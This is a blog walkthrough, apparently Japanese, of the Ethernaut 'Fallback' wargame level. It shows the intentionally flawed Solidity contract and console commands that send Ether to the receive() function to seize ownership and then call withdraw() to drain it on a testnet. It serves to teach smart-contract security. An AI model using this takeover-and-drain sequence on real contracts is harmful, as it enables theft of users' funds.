🌴

Ethernaut-solution 1.Fallback

2023/05/06に公開

Ethernaut-solution

1.Fallback

  1. you claim ownership of the contract
  2. you reduce its balance to 0

learning

  • How to send Ether when intracting with an ABI
  • How to send Ether outside of the ABI
  • Converting to and from wei/Ether units
  • Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;//internal database how much Ether each address has and how many token each address has, how much money each address has 
  address payable public owner;

//constructor deployed it set as owner 
  constructor() public {//executed lifecycle of smartcontract first get deploy
    owner = msg.sender; //send as owner 
    contributions[msg.sender] = 1000 * (1 ether); //mapping contribution set amount of Ether
  }

//modifier can applied any function in a smart contract 
  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

//contributionsの構成にsecurityhallがある
//何回もfunction contribute()を起動して、senderがownerよりcontributionsがmany many timesの状況になればownerになれてしまう

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }


  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

// this function is fallback function /you wanna send money to A contract 
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);//the best way attack become the owner
    //contributions条件を満たすことが攻撃の最初の準備。satisfy second condition first.
    owner = msg.sender;
  }
}

solution

  • 1.you claim ownership of the contract

contract...reference of our smart contract

n {methods: {…}, abi: Array(7), address: '0xc3309271b114BFdC7DaDCAd2C3ED67116A798624', transactionHash: undefined, constructor: ƒ, …}

contract.address...smartcontract address

'0xc3309271b114BFdC7DaDCAd2C3ED67116A798624'

player...my address

'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
await contract.contributions(player) 
o {negative: 0, words: Array(2), length: 1, red: null}

//Array 0: 0 。現状no valueなのがわかる

await contract.getContribution()

//0のまんま

//そこでcall contribute function! It's payable.value: 1 => 1 ETH

//1ETH send

contract.contribute({value: 1})
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}

//1ETH sendでaccount valueが増えているか確認 key:value

await contract.contributions(player)
o {negative: 0, words: Array(2), length: 1, red: null}

//Array 0: 1 。

//ownerの確認

await contract.owner()
//this smartcontract own address
'0x9CB391dbcD447E645D6Cb55dE6ca23164130D008'

//playerの確認 = まだownerになってない

'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
//sendTransaction is special function from web3.js 
contract.sendTransaction({value: 1})
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
//transaction
⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0x3062639ee20c48140d527b324f283dfbca7b07bc2f42d1f01e907d3055b76177
⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0x3062639ee20c48140d527b324f283dfbca7b07bc2f42d1f01e907d3055b76177

//Transactionの成功によりcontractのownerが自分にchangeされているのを確認

await contract.owner()
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
  • 2.you reduce its balance to 0
//balanceの確認
await getBalance(contract.address)
'0.000000000000000002'

//function withdrawをreturn
//transfer all balance our wallet!

contract.withdraw()
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}

⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0x4654244d4f2d9ece5c6cf290227532dda4960939ef760914f4e47cb9c7524c68
⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0x4654244d4f2d9ece5c6cf290227532dda4960939ef760914f4e47cb9c7524c68

//balanceが"0"になっているのを確認

await getBalance(contract.address)

'0'

References

DeFi Developer Academy

Discussion